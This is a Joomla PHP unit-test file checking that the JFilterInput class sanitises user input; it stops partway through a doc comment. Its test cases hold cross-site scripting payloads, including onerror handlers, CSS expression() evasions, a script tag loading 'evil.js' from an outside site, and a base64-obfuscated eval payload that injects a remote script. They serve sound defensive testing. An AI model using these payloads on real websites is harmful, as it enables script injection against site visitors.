PageRenderTime 43ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/tests/suite/joomla/filter/JFilterInputTest.php

http://github.com/joomla/joomla-platform
PHP | 1336 lines | 1100 code | 28 blank | 208 comment | 0 complexity | 67455db66365e927fb84a387048f0f9b MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1
  1. <?php
  2. /**
  3. * @package Joomla.UnitTest
  4. * @subpackage Filter
  5. *
  6. * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
  7. * @license GNU General Public License version 2 or later; see LICENSE
  8. */
  9. require_once JPATH_PLATFORM.'/joomla/filter/input.php';
  10. /**
  11. * JFilterInputTest
  12. *
  13. * @package Joomla.UnitTest
  14. * @subpackage Filter
  15. */
  16. class JFilterInputTest extends PHPUnit_Framework_TestCase
  17. {
  18. /**
  19. * Produces the array of test cases common to all test runs.
  20. *
  21. * @return array Two dimensional array of test cases. Each row consists of three values
  22. * The first is the type of input data, the second is the actual input data,
  23. * the third is the expected result of filtering, and the fourth is
  24. * the failure message identifying the source of the data.
  25. *
  26. * @return array
  27. */
  28. function casesGeneric()
  29. {
  30. $input = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`'.
  31. 'abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“â€?•–—˜™š›œžŸ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·'.
  32. '¸¹º»¼½¾¿ÀĂ?ÂÃÄÅÆÇÈÉÊËÌĂ?ÎĂ?Ă?ÑÒÓÔÕÖ×ØÙÚÛÜĂ?Þßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ';
  33. return array(
  34. 'int_01' => array(
  35. 'int',
  36. $input,
  37. 123456789,
  38. 'From generic cases'
  39. ),
  40. 'integer' => array(
  41. 'int',
  42. $input,
  43. 123456789,
  44. 'From generic cases'
  45. ),
  46. 'int_02' => array(
  47. 'int',
  48. 'abc123456789abc123456789',
  49. 123456789,
  50. 'From generic cases'
  51. ),
  52. 'int_03' => array(
  53. 'int',
  54. '123456789abc123456789abc',
  55. 123456789,
  56. 'From generic cases'
  57. ),
  58. 'int_04' => array(
  59. 'int',
  60. 'empty',
  61. 0,
  62. 'From generic cases'
  63. ),
  64. 'int_05' => array(
  65. 'int',
  66. 'ab-123ab',
  67. -123,
  68. 'From generic cases'
  69. ),
  70. 'int_06' => array(
  71. 'int',
  72. '-ab123ab',
  73. 123,
  74. 'From generic cases'
  75. ),
  76. 'int_07' => array(
  77. 'int',
  78. '-ab123.456ab',
  79. 123,
  80. 'From generic cases'
  81. ),
  82. 'int_08' => array(
  83. 'int',
  84. '456',
  85. 456,
  86. 'From generic cases'
  87. ),
  88. 'int_09' => array(
  89. 'int',
  90. '-789',
  91. -789,
  92. 'From generic cases'
  93. ),
  94. 'int_10' => array(
  95. 'int',
  96. -789,
  97. -789,
  98. 'From generic cases'
  99. ),
  100. 'uint_1' => array(
  101. 'uint',
  102. -789,
  103. 789,
  104. 'From generic cases'
  105. ),
  106. 'float_01' => array(
  107. 'float',
  108. $input,
  109. 123456789,
  110. 'From generic cases'
  111. ),
  112. 'double' => array(
  113. 'double',
  114. $input,
  115. 123456789,
  116. 'From generic cases'
  117. ),
  118. 'float_02' => array(
  119. 'float',
  120. 20.20,
  121. 20.2,
  122. 'From generic cases'
  123. ),
  124. 'float_03' => array(
  125. 'float',
  126. '-38.123',
  127. -38.123,
  128. 'From generic cases'
  129. ),
  130. 'float_04' => array(
  131. 'float',
  132. 'abc-12.456',
  133. -12.456,
  134. 'From generic cases'
  135. ),
  136. 'float_05' => array(
  137. 'float',
  138. '-abc12.456',
  139. 12.456,
  140. 'From generic cases'
  141. ),
  142. 'float_06' => array(
  143. 'float',
  144. 'abc-12.456abc',
  145. -12.456,
  146. 'From generic cases'
  147. ),
  148. 'float_07' => array(
  149. 'float',
  150. 'abc-12 . 456',
  151. -12,
  152. 'From generic cases'
  153. ),
  154. 'float_08' => array(
  155. 'float',
  156. 'abc-12. 456',
  157. -12,
  158. 'From generic cases'
  159. ),
  160. 'bool_0' => array(
  161. 'bool',
  162. $input,
  163. true,
  164. 'From generic cases'
  165. ),
  166. 'boolean' => array(
  167. 'boolean',
  168. $input,
  169. true,
  170. 'From generic cases'
  171. ),
  172. 'bool_1' => array(
  173. 'bool',
  174. true,
  175. true,
  176. 'From generic cases'
  177. ),
  178. 'bool_2' => array(
  179. 'bool',
  180. false,
  181. false,
  182. 'From generic cases'
  183. ),
  184. 'bool_3' => array(
  185. 'bool',
  186. '',
  187. false,
  188. 'From generic cases'
  189. ),
  190. 'bool_4' => array(
  191. 'bool',
  192. 0,
  193. false,
  194. 'From generic cases'
  195. ),
  196. 'bool_5' => array(
  197. 'bool',
  198. 1,
  199. true,
  200. 'From generic cases'
  201. ),
  202. 'bool_6' => array(
  203. 'bool',
  204. null,
  205. false,
  206. 'From generic cases'
  207. ),
  208. 'bool_7' => array(
  209. 'bool',
  210. 'false',
  211. true,
  212. 'From generic cases'
  213. ),
  214. 'word_01' => array(
  215. 'word',
  216. $input,
  217. 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz',
  218. 'From generic cases'
  219. ),
  220. 'word_02' => array(
  221. 'word',
  222. null,
  223. '',
  224. 'From generic cases'
  225. ),
  226. 'word_03' => array(
  227. 'word',
  228. 123456789,
  229. '',
  230. 'From generic cases'
  231. ),
  232. 'word_04' => array(
  233. 'word',
  234. 'word123456789',
  235. 'word',
  236. 'From generic cases'
  237. ),
  238. 'word_05' => array(
  239. 'word',
  240. '123456789word',
  241. 'word',
  242. 'From generic cases'
  243. ),
  244. 'word_06' => array(
  245. 'word',
  246. 'w123o4567r89d',
  247. 'word',
  248. 'From generic cases'
  249. ),
  250. 'alnum_01' => array(
  251. 'alnum',
  252. $input,
  253. '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
  254. 'From generic cases'
  255. ),
  256. 'alnum_02' => array(
  257. 'alnum',
  258. null,
  259. '',
  260. 'From generic cases'
  261. ),
  262. 'alnum_03' => array(
  263. 'alnum',
  264. '~!@#$%^&*()_+abc',
  265. 'abc',
  266. 'From generic cases'
  267. ),
  268. 'cmd' => array(
  269. 'cmd',
  270. $input,
  271. '-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz',
  272. 'From generic cases'
  273. ),
  274. 'base64' => array(
  275. 'base64',
  276. $input,
  277. '+/0123456789=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
  278. 'From generic cases'
  279. ),
  280. 'array' => array(
  281. 'array',
  282. array( 1, 3, 6 ),
  283. array( 1, 3, 6 ),
  284. 'From generic cases'
  285. ),
  286. 'path_01' => array(
  287. 'path',
  288. 'images/system',
  289. 'images/system',
  290. 'From generic cases'
  291. ),
  292. 'path_02' => array(
  293. 'path',
  294. 'http://www.fred.com/josephus',
  295. '',
  296. 'From generic cases'
  297. ),
  298. 'user_01' => array(
  299. 'username',
  300. '&<f>r%e\'d',
  301. 'fred',
  302. 'From generic cases'
  303. ),
  304. 'user_02' => array(
  305. 'username',
  306. 'fred',
  307. 'fred',
  308. 'From generic cases'
  309. ),
  310. 'string_01' => array(
  311. 'string',
  312. '123.567',
  313. '123.567',
  314. 'From generic cases'
  315. ),
  316. 'string_single_quote' => array(
  317. 'string',
  318. "this is a 'test' of ?",
  319. "this is a 'test' of ?",
  320. 'From generic cases'
  321. ),
  322. 'string_double_quote' => array(
  323. 'string',
  324. 'this is a "test" of "double" quotes',
  325. 'this is a "test" of "double" quotes',
  326. 'From generic cases'
  327. ),
  328. 'string_odd_double_quote' => array(
  329. 'string',
  330. 'this is a "test of "odd number" of quotes',
  331. 'this is a "test of "odd number" of quotes',
  332. 'From generic cases'
  333. ),
  334. 'string_odd_mixed_quote' => array(
  335. 'string',
  336. 'this is a "test\' of "odd number" of quotes',
  337. 'this is a "test\' of "odd number" of quotes',
  338. 'From generic cases'
  339. ),
  340. 'unknown_01' => array(
  341. '',
  342. '123.567',
  343. '123.567',
  344. 'From generic cases'
  345. ),
  346. 'unknown_02' => array(
  347. '',
  348. array( 1, 3, 9 ),
  349. array( 1, 3, 9 ),
  350. 'From generic cases'
  351. ),
  352. 'unknown_03' => array(
  353. '',
  354. array( "key" => "Value", "key2" => "This&That", "key2" => "This&amp;That" ),
  355. array( "key" => "Value", "key2" => "This&That", "key2" => "This&That" ),
  356. 'From generic cases'
  357. ),
  358. 'unknown_04' => array(
  359. '',
  360. 12.6,
  361. 12.6,
  362. 'From generic cases'
  363. ),
  364. 'tag_01' => array(
  365. '',
  366. '<em',
  367. 'em',
  368. 'From generic cases'
  369. ),
  370. 'Kill script' => array(
  371. '',
  372. '<img src="javascript:alert();" />',
  373. '<img />',
  374. 'From generic cases'
  375. ),
  376. 'Nested tags' => array(
  377. '',
  378. '<em><strong>Fred</strong></em>',
  379. '<em><strong>Fred</strong></em>',
  380. 'From generic cases'
  381. ),
  382. 'Malformed Nested tags' => array(
  383. '',
  384. '<em><strongFred</strong></em>',
  385. '<em>strongFred</strong></em>',
  386. 'From generic cases'
  387. ),
  388. 'Unquoted Attribute Without Space' => array(
  389. '',
  390. '<img height=300>',
  391. '<img height="300" />',
  392. 'From generic cases'
  393. ),
  394. 'Unquoted Attribute' => array(
  395. '',
  396. '<img height=300 />',
  397. '<img height="300" />',
  398. 'From generic cases'
  399. ),
  400. 'Single quoted Attribute' => array(
  401. '',
  402. '<img height=\'300\' />',
  403. '<img height="300" />',
  404. 'From generic cases'
  405. ),
  406. 'Attribute is zero' => array(
  407. '',
  408. '<img height=0 />',
  409. '<img height="0" />',
  410. 'From generic cases'
  411. ),
  412. 'Attribute value missing' => array(
  413. '',
  414. '<img height= />',
  415. '<img height="" />',
  416. 'From generic cases'
  417. ),
  418. 'Attribute without =' => array(
  419. '',
  420. '<img height="300" ismap />',
  421. '<img height="300" />',
  422. 'From generic cases'
  423. ),
  424. 'Bad Attribute Name' => array(
  425. '',
  426. '<br 3bb />',
  427. '<br />',
  428. 'From generic cases'
  429. ),
  430. 'Bad Tag Name' => array(
  431. '',
  432. '<300 />',
  433. '',
  434. 'From generic cases'
  435. ),
  436. 'tracker9725' => array(
  437. 'string',
  438. '<img class="one two" />',
  439. '<img class="one two" />',
  440. 'Test for recursion with single tags - From generic cases'
  441. ),
  442. 'missing_quote' => array(
  443. 'string',
  444. '<img height="123 />',
  445. 'img height="123 /&gt;"',
  446. 'From generic cases'
  447. ),
  448. );
  449. }
  450. /**
  451. * Sets up for the test run.
  452. *
  453. * @return void
  454. *
  455. */
  456. function setUp()
  457. {
  458. }
  459. /**
  460. * Produces the array of test cases for the Clean Text test run.
  461. *
  462. * @return array Two dimensional array of test cases. Each row consists of two values
  463. * The first is the input data for the test run,
  464. * and the second is the expected result of filtering.
  465. */
  466. function casesCleanText()
  467. {
  468. $cases = array(
  469. 'case_1' => array(
  470. '',
  471. ''
  472. ),
  473. 'script_0' => array(
  474. '<script>alert(\'hi!\');</script>',
  475. ''
  476. )
  477. );
  478. $tests = $cases;
  479. return $tests;
  480. }
  481. /**
  482. * Execute a cleanText test case.
  483. *
  484. * @param string $data The original output
  485. * @param string $expect The expected result for this test.
  486. *
  487. * @return void
  488. *
  489. * @dataProvider casesCleanText
  490. */
  491. function testCleanText($data, $expect)
  492. {
  493. $this->markTestSkipped('Why are we calling JFilterOutput in JFilterInputTest?');
  494. $this->assertThat(
  495. $expect,
  496. $this->equalTo(JFilterOutput::cleanText($data))
  497. );
  498. }
  499. /**
  500. * Produces the array of test cases for plain Whitelist test run.
  501. *
  502. * @return array Two dimensional array of test cases. Each row consists of three values
  503. * The first is the type of input data, the second is the actual input data,
  504. * the third is the expected result of filtering, and the fourth is
  505. * the failure message identifying the source of the data.
  506. *
  507. * @return array
  508. */
  509. function whitelist()
  510. {
  511. $casesSpecific = array(
  512. 'Kill script' => array(
  513. '',
  514. '<img src="javascript:alert();" />',
  515. '',
  516. 'From specific cases'
  517. ),
  518. 'Nested tags' => array(
  519. '',
  520. '<em><strong>Fred</strong></em>',
  521. 'Fred',
  522. 'From specific cases'
  523. ),
  524. 'Malformed Nested tags' => array(
  525. '',
  526. '<em><strongFred</strong></em>',
  527. 'strongFred',
  528. 'From specific cases'
  529. ),
  530. 'Unquoted Attribute Without Space' => array(
  531. '',
  532. '<img height=300>',
  533. '',
  534. 'From specific cases'
  535. ),
  536. 'Unquoted Attribute' => array(
  537. '',
  538. '<img height=300 />',
  539. '',
  540. 'From specific cases'
  541. ),
  542. 'Single quoted Attribute' => array(
  543. '',
  544. '<img height=\'300\' />',
  545. '',
  546. 'From specific cases'
  547. ),
  548. 'Attribute is zero' => array(
  549. '',
  550. '<img height=0 />',
  551. '',
  552. 'From specific cases'
  553. ),
  554. 'Attribute value missing' => array(
  555. '',
  556. '<img height= />',
  557. '',
  558. 'From specific cases'
  559. ),
  560. 'Attribute without =' => array(
  561. '',
  562. '<img height="300" ismap />',
  563. '',
  564. 'From specific cases'
  565. ),
  566. 'Bad Attribute Name' => array(
  567. '',
  568. '<br 300 />',
  569. '',
  570. 'From specific cases'
  571. ),
  572. 'tracker9725' => array(
  573. // Test for recursion with single tags
  574. 'string',
  575. '<img class="one two" />',
  576. '',
  577. 'From specific cases'
  578. ),
  579. 'tracker24258' => array(
  580. // Test for recursion on attributes
  581. 'string',
  582. '<scrip &nbsp; t>alert(\'test\');</scrip t>',
  583. 'alert(\'test\');',
  584. 'From generic cases'
  585. ),
  586. );
  587. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  588. return $tests;
  589. }
  590. /**
  591. * Execute a test case on clean() called as member with default filter settings (whitelist - no html).
  592. *
  593. * @param string $type The type of input
  594. * @param string $data The input
  595. * @param string $expect The expected result for this test.
  596. * @param string $message The failure message identifying source of test case.
  597. *
  598. * @return void
  599. *
  600. * @dataProvider whitelist
  601. */
  602. function testCleanByCallingMember( $type, $data, $expect, $message )
  603. {
  604. $filter = new JFilterInput;
  605. $this->assertThat(
  606. $filter->clean($data, $type),
  607. $this->equalTo($expect),
  608. $message
  609. );
  610. }
  611. /**
  612. * Produces the array of test cases for the Whitelist img tag test run.
  613. *
  614. * @return array Two dimensional array of test cases. Each row consists of three values
  615. * The first is the type of input data, the second is the actual input data,
  616. * the third is the expected result of filtering, and the fourth is
  617. * the failure message identifying the source of the data.
  618. *
  619. * @return array
  620. */
  621. function whitelistImg()
  622. {
  623. $casesSpecific = array(
  624. 'Kill script' => array(
  625. '',
  626. '<img src="javascript:alert();" />',
  627. '<img />',
  628. 'From specific cases'
  629. ),
  630. 'Nested tags' => array(
  631. '',
  632. '<em><strong>Fred</strong></em>',
  633. 'Fred',
  634. 'From specific cases'
  635. ),
  636. 'Malformed Nested tags' => array(
  637. '',
  638. '<em><strongFred</strong></em>',
  639. 'strongFred',
  640. 'From specific cases'
  641. ),
  642. 'Unquoted Attribute Without Space' => array(
  643. '',
  644. '<img height=300>',
  645. '<img />',
  646. 'From specific cases'
  647. ),
  648. 'Unquoted Attribute' => array(
  649. '',
  650. '<img height=300 />',
  651. '<img />',
  652. 'From specific cases'
  653. ),
  654. 'Single quoted Attribute' => array(
  655. '',
  656. '<img height=\'300\' />',
  657. '<img />',
  658. 'From specific cases'
  659. ),
  660. 'Attribute is zero' => array(
  661. '',
  662. '<img height=0 />',
  663. '<img />',
  664. 'From specific cases'
  665. ),
  666. 'Attribute value missing' => array(
  667. '',
  668. '<img height= />',
  669. '<img />',
  670. 'From specific cases'
  671. ),
  672. 'Attribute without =' => array(
  673. '',
  674. '<img height="300" ismap />',
  675. '<img />',
  676. 'From specific cases'
  677. ),
  678. 'Bad Attribute Name' => array(
  679. '',
  680. '<br 300 />',
  681. '',
  682. 'From specific cases'
  683. ),
  684. 'tracker9725' => array(
  685. // Test for recursion with single tags
  686. 'string',
  687. '<img class="one two" />',
  688. '<img />',
  689. 'From specific cases'
  690. ),
  691. 'security_20110329a' => array(
  692. 'string',
  693. "<img src='<img src='///'/> ",
  694. '<img /> ',
  695. 'From specific cases'
  696. ),
  697. 'security_20110329b' => array(
  698. 'string',
  699. "<img src='<img src='/onerror=eval(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=/.source))//'/> ",
  700. '<img /> ',
  701. 'From specific cases'
  702. ),
  703. 'hanging_quote' => array(
  704. 'string',
  705. "<img src=\' />",
  706. '<img />',
  707. 'From specific cases'
  708. ),
  709. 'hanging_quote2' => array(
  710. 'string',
  711. '<img src slkdjls " this is "more " stuff',
  712. 'img src slkdjls " this is "more " stuff',
  713. 'From specific cases'
  714. ),
  715. 'hanging_quote3' => array(
  716. 'string',
  717. "<img src=\"\'\" />",
  718. '<img />',
  719. 'From specific cases'
  720. ),
  721. );
  722. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  723. return $tests;
  724. }
  725. /**
  726. * Execute a test case on clean() called as member with custom filter settings (whitelist).
  727. *
  728. * @param string $type The type of input
  729. * @param string $data The input
  730. * @param string $expect The expected result for this test.
  731. * @param string $message The failure message identifying the source of the test case.
  732. *
  733. * @return void
  734. *
  735. * @dataProvider whitelistImg
  736. */
  737. function testCleanWithImgWhitelisted( $type, $data, $expect, $message )
  738. {
  739. $filter = JFilterInput::getInstance(array( 'img' ), null, 0, 0);
  740. $this->assertThat(
  741. $filter->clean($data, $type),
  742. $this->equalTo($expect),
  743. $message
  744. );
  745. }
  746. /**
  747. * Produces the array of test cases for the Whitelist class attribute test run.
  748. *
  749. * @return array Two dimensional array of test cases. Each row consists of three values
  750. * The first is the type of input data, the second is the actual input data,
  751. * the third is the expected result of filtering, and the fourth is
  752. * the failure message identifying the source of the data.
  753. *
  754. * @return array
  755. */
  756. function whitelistClass()
  757. {
  758. $casesSpecific = array(
  759. 'Kill script' => array(
  760. '',
  761. '<img src="javascript:alert();" />',
  762. '',
  763. 'From specific cases'
  764. ),
  765. 'Nested tags' => array(
  766. '',
  767. '<em><strong>Fred</strong></em>',
  768. 'Fred',
  769. 'From specific cases'
  770. ),
  771. 'Malformed Nested tags' => array(
  772. '',
  773. '<em><strongFred</strong></em>',
  774. 'strongFred',
  775. 'From specific cases'
  776. ),
  777. 'Unquoted Attribute Without Space' => array(
  778. '',
  779. '<img height=300>',
  780. '',
  781. 'From specific cases'
  782. ),
  783. 'Unquoted Attribute' => array(
  784. '',
  785. '<img height=300 />',
  786. '',
  787. 'From specific cases'
  788. ),
  789. 'Single quoted Attribute' => array(
  790. '',
  791. '<img height=\'300\' />',
  792. '',
  793. 'From specific cases'
  794. ),
  795. 'Attribute is zero' => array(
  796. '',
  797. '<img height=0 />',
  798. '',
  799. 'From specific cases'
  800. ),
  801. 'Attribute value missing' => array(
  802. '',
  803. '<img height= />',
  804. '',
  805. 'From specific cases'
  806. ),
  807. 'Attribute without =' => array(
  808. '',
  809. '<img height="300" ismap />',
  810. '',
  811. 'From specific cases'
  812. ),
  813. 'Bad Attribute Name' => array(
  814. '',
  815. '<br 300 />',
  816. '',
  817. 'From specific cases'
  818. ),
  819. 'tracker9725' => array(
  820. // Test for recursion with single tags
  821. 'string',
  822. '<img class="one two" />',
  823. '',
  824. 'From specific cases'
  825. )
  826. );
  827. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  828. return $tests;
  829. }
  830. /**
  831. * Execute a test case on clean() called as member with custom filter settings (whitelist).
  832. *
  833. * @param string $type The type of input
  834. * @param string $data The input
  835. * @param string $expect The expected result for this test.
  836. * @param string $message The failure message identifying the source of the test case.
  837. *
  838. * @return void
  839. *
  840. * @dataProvider whitelistClass
  841. */
  842. function testCleanWithClassWhitelisted( $type, $data, $expect, $message )
  843. {
  844. $filter = JFilterInput::getInstance(null, array( 'class' ), 0, 0);
  845. $this->assertThat(
  846. $filter->clean($data, $type),
  847. $this->equalTo($expect),
  848. $message
  849. );
  850. }
  851. /**
  852. * Produces the array of test cases for the Whitelist class attribute img tag test run.
  853. *
  854. * @return array Two dimensional array of test cases. Each row consists of three values
  855. * The first is the type of input data, the second is the actual input data,
  856. * the third is the expected result of filtering, and the fourth is
  857. * the failure message identifying the source of the data.
  858. *
  859. * @return array
  860. */
  861. function whitelistClassImg()
  862. {
  863. $casesSpecific = array(
  864. 'Kill script' => array(
  865. '',
  866. '<img src="javascript:alert();" />',
  867. '<img />',
  868. 'From specific cases'
  869. ),
  870. 'Nested tags' => array(
  871. '',
  872. '<em><strong>Fred</strong></em>',
  873. 'Fred',
  874. 'From specific cases'
  875. ),
  876. 'Malformed Nested tags' => array(
  877. '',
  878. '<em><strongFred</strong></em>',
  879. 'strongFred',
  880. 'From specific cases'
  881. ),
  882. 'Unquoted Attribute Without Space' => array(
  883. '',
  884. '<img class=myclass height=300 >',
  885. '<img class="myclass" />',
  886. 'From specific cases'
  887. ),
  888. 'Unquoted Attribute' => array(
  889. '',
  890. '<img class = myclass height = 300/>',
  891. '<img />',
  892. 'From specific cases'
  893. ),
  894. 'Single quoted Attribute' => array(
  895. '',
  896. '<img class=\'myclass\' height=\'300\' />',
  897. '<img class="myclass" />',
  898. 'From specific cases'
  899. ),
  900. 'Attribute is zero' => array(
  901. '',
  902. '<img class=0 height=0 />',
  903. '<img class="0" />',
  904. 'From specific cases'
  905. ),
  906. 'Attribute value missing' => array(
  907. '',
  908. '<img class= height= />',
  909. '<img class="" />',
  910. 'From specific cases'
  911. ),
  912. 'Attribute without =' => array(
  913. '',
  914. '<img ismap class />',
  915. '<img />',
  916. 'From specific cases'
  917. ),
  918. 'Bad Attribute Name' => array(
  919. '',
  920. '<br 300 />',
  921. '',
  922. 'From specific cases'
  923. ),
  924. 'tracker9725' => array(
  925. // Test for recursion with single tags
  926. 'string',
  927. '<img class="one two" />',
  928. '<img class="one two" />',
  929. 'From specific cases'
  930. ),
  931. 'class with no =' => array(
  932. // Test for recursion with single tags
  933. 'string',
  934. '<img class />',
  935. '<img />',
  936. 'From specific cases'
  937. ),
  938. );
  939. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  940. return $tests;
  941. }
  942. /**
  943. * Execute a test case on clean() called as member with custom filter settings (whitelist).
  944. *
  945. * @param string $type The type of input
  946. * @param string $data The input
  947. * @param string $expect The expected result for this test.
  948. * @param string $message The failure message identifying the source of the test case.
  949. *
  950. * @return void
  951. *
  952. * @dataProvider whitelistClassImg
  953. */
  954. function testCleanWithImgAndClassWhitelisted( $type, $data, $expect, $message )
  955. {
  956. $filter = JFilterInput::getInstance(array( 'img' ), array( 'class' ), 0, 0);
  957. $this->assertThat(
  958. $filter->clean($data, $type),
  959. $this->equalTo($expect),
  960. $message
  961. );
  962. }
  963. /**
  964. * Produces the array of test cases for the plain Blacklist test run.
  965. *
  966. * @return array Two dimensional array of test cases. Each row consists of three values
  967. * The first is the type of input data, the second is the actual input data,
  968. * the third is the expected result of filtering, and the fourth is
  969. * the failure message identifying the source of the data.
  970. *
  971. * @return array
  972. */
  973. function blacklist()
  974. {
  975. $casesSpecific = array(
  976. 'security_tracker_24802_a' => array(
  977. '',
  978. '<img src="<img src=x"/onerror=alert(1)//">',
  979. '<img src="&lt;img src=x&quot;/onerror=alert(1)//" />',
  980. 'From specific cases'
  981. ),
  982. 'security_tracker_24802_b' => array(
  983. '',
  984. '<img src="<img src=x"/onerror=alert(1)"//>"',
  985. 'img src="&lt;img src=x&quot;/onerror=alert(1)&quot;//&gt;"',
  986. 'From specific cases'
  987. ),
  988. 'security_tracker_24802_c' => array(
  989. '',
  990. '<img src="<img src=x"/onerror=alert(1)"//>',
  991. 'img src="&lt;img src=x&quot;/onerror=alert(1)&quot;//&gt;"',
  992. 'From specific cases'
  993. ),
  994. 'security_tracker_24802_d' => array(
  995. '',
  996. '<img src="x"/onerror=alert(1)//">',
  997. '<img src="x&quot;/onerror=alert(1)//" />',
  998. 'From specific cases'
  999. ),
  1000. 'security_tracker_24802_e' => array(
  1001. '',
  1002. '<img src=<img src=x"/onerror=alert(1)//">',
  1003. 'img src=<img src="x/onerror=alert(1)//" />',
  1004. 'From specific cases'
  1005. ),
  1006. 'empty_alt' => array(
  1007. 'string',
  1008. '<img alt="" src="my_source" />',
  1009. '<img alt="" src="my_source" />',
  1010. 'Test empty alt attribute'
  1011. ),
  1012. 'disabled_no_equals_a' => array(
  1013. 'string',
  1014. '<img disabled src="my_source" />',
  1015. '<img src="my_source" />',
  1016. 'Test empty alt attribute'
  1017. ),
  1018. 'disabled_no_equals_b' => array(
  1019. 'string',
  1020. '<img alt="" disabled src="aaa" />',
  1021. '<img alt="" src="aaa" />',
  1022. 'Test empty alt attribute'
  1023. ),
  1024. 'disabled_no_equals_c' => array(
  1025. 'string',
  1026. '<img disabled />',
  1027. '<img />',
  1028. 'Test empty alt attribute'
  1029. ),
  1030. 'disabled_no_equals_d' => array(
  1031. 'string',
  1032. '<img height="300" disabled />',
  1033. '<img height="300" />',
  1034. 'Test empty alt attribute'
  1035. ),
  1036. 'disabled_no_equals_e' => array(
  1037. 'string',
  1038. '<img height disabled />',
  1039. '<img />',
  1040. 'Test empty alt attribute'
  1041. ),
  1042. 'test_nested' => array(
  1043. 'string',
  1044. '<img src="<img src=x"/onerror=alert(1)//>" />',
  1045. '<img src="&lt;img src=x&quot;/onerror=alert(1)//&gt;" />',
  1046. 'Test empty alt attribute'
  1047. ),
  1048. 'infinte_loop_a' => array(
  1049. 'string',
  1050. '<img src="x" height = "zzz" />',
  1051. '<img src="x" height="zzz" />',
  1052. 'Test empty alt attribute'
  1053. ),
  1054. 'infinte_loop_b' => array(
  1055. 'string',
  1056. '<img src = "xxx" height = "zzz" />',
  1057. '<img src="xxx" height="zzz" />',
  1058. 'Test empty alt attribute'
  1059. ),
  1060. 'quotes_in_text' => array(
  1061. 'string',
  1062. '<p class="my_class">This is a = "test" <a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>',
  1063. '<p class="my_class">This is a = "test" <a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>',
  1064. 'Test valid nested tag'
  1065. ),
  1066. 'normal_nested' => array(
  1067. 'string',
  1068. '<p class="my_class">This is a <a href="http://mysite.com" img = "my_image">link test</a>. This is <span class="myclass" font = "myfont" > some more</span> text.</p>',
  1069. '<p class="my_class">This is a <a href="http://mysite.com" img="my_image">link test</a>. This is <span class="myclass" font="myfont"> some more</span> text.</p>',
  1070. 'Test valid nested tag'
  1071. ),
  1072. 'hanging_quote' => array(
  1073. 'string',
  1074. "<img src=\' />",
  1075. '<img src="" />',
  1076. 'From specific cases'
  1077. ),
  1078. 'hanging_quote2' => array(
  1079. 'string',
  1080. '<img src slkdjls " this is "more " stuff',
  1081. 'img src slkdjls " this is "more " stuff',
  1082. 'From specific cases'
  1083. ),
  1084. 'hanging_quote3' => array(
  1085. 'string',
  1086. "<img src=\"\' />",
  1087. 'img src="\\\' /&gt;"',
  1088. 'From specific cases'
  1089. ),
  1090. 'tracker25558a' => array(
  1091. 'string',
  1092. '<SCRIPT SRC=http://jeffchannell.com/evil.js#<B />',
  1093. 'SCRIPT SRC=http://jeffchannell.com/evil.js#<B />',
  1094. 'Test mal-formed element from 25558a'
  1095. ),
  1096. 'tracker25558b' => array(
  1097. 'string',
  1098. '<IMG STYLE="xss:expression(alert(\'XSS\'))" />',
  1099. '<IMG STYLE="xss(alert(\'XSS\'))" />',
  1100. 'Test mal-formed element from 25558b'
  1101. ),
  1102. 'tracker25558c' => array(
  1103. 'string',
  1104. '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))" />',
  1105. '<IMG STYLE="xss(alert(\'XSS\'))" />',
  1106. 'Test mal-formed element from 25558b'
  1107. ),
  1108. 'tracker25558d' => array(
  1109. 'string',
  1110. '<IMG STYLE="xss:expr/*XSS*/ess/*another comment*/ion(alert(\'XSS\'))" />',
  1111. '<IMG STYLE="xss(alert(\'XSS\'))" />',
  1112. 'Test mal-formed element from 25558b'
  1113. ),
  1114. 'tracker25558e' => array(
  1115. 'string',
  1116. '<b><script<b></b><alert(1)</script </b>',
  1117. '<b>script<b></b>alert(1)/script</b>',
  1118. 'Test mal-formed element from 25558e'
  1119. ),
  1120. 'security_20110329a' => array(
  1121. 'string',
  1122. "<img src='<img src='///'/> ",
  1123. "<img src=\"'&lt;img\" src=\"'///'/\" /> ",
  1124. 'From specific cases'
  1125. ),
  1126. 'html_01' => array(
  1127. 'html',
  1128. '<div>Hello</div>',
  1129. '<div>Hello</div>',
  1130. 'Generic test case for HTML cleaning'
  1131. ),
  1132. 'tracker26439a' => array(
  1133. 'string',
  1134. '<p>equals quote =" inside valid tag</p>',
  1135. '<p>equals quote =" inside valid tag</p>',
  1136. 'Test quote equals inside valid tag'
  1137. ),
  1138. 'tracker26439b' => array(
  1139. 'string',
  1140. "<p>equals quote =' inside valid tag</p>",
  1141. "<p>equals quote =' inside valid tag</p>",
  1142. 'Test single quote equals inside valid tag'
  1143. ),
  1144. );
  1145. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  1146. return $tests;
  1147. }
  1148. /**
  1149. * Execute a test case with clean() default blacklist filter settings (strips bad tags).
  1150. *
  1151. * @param string $type The type of input
  1152. * @param string $data The input
  1153. * @param string $expect The expected result for this test.
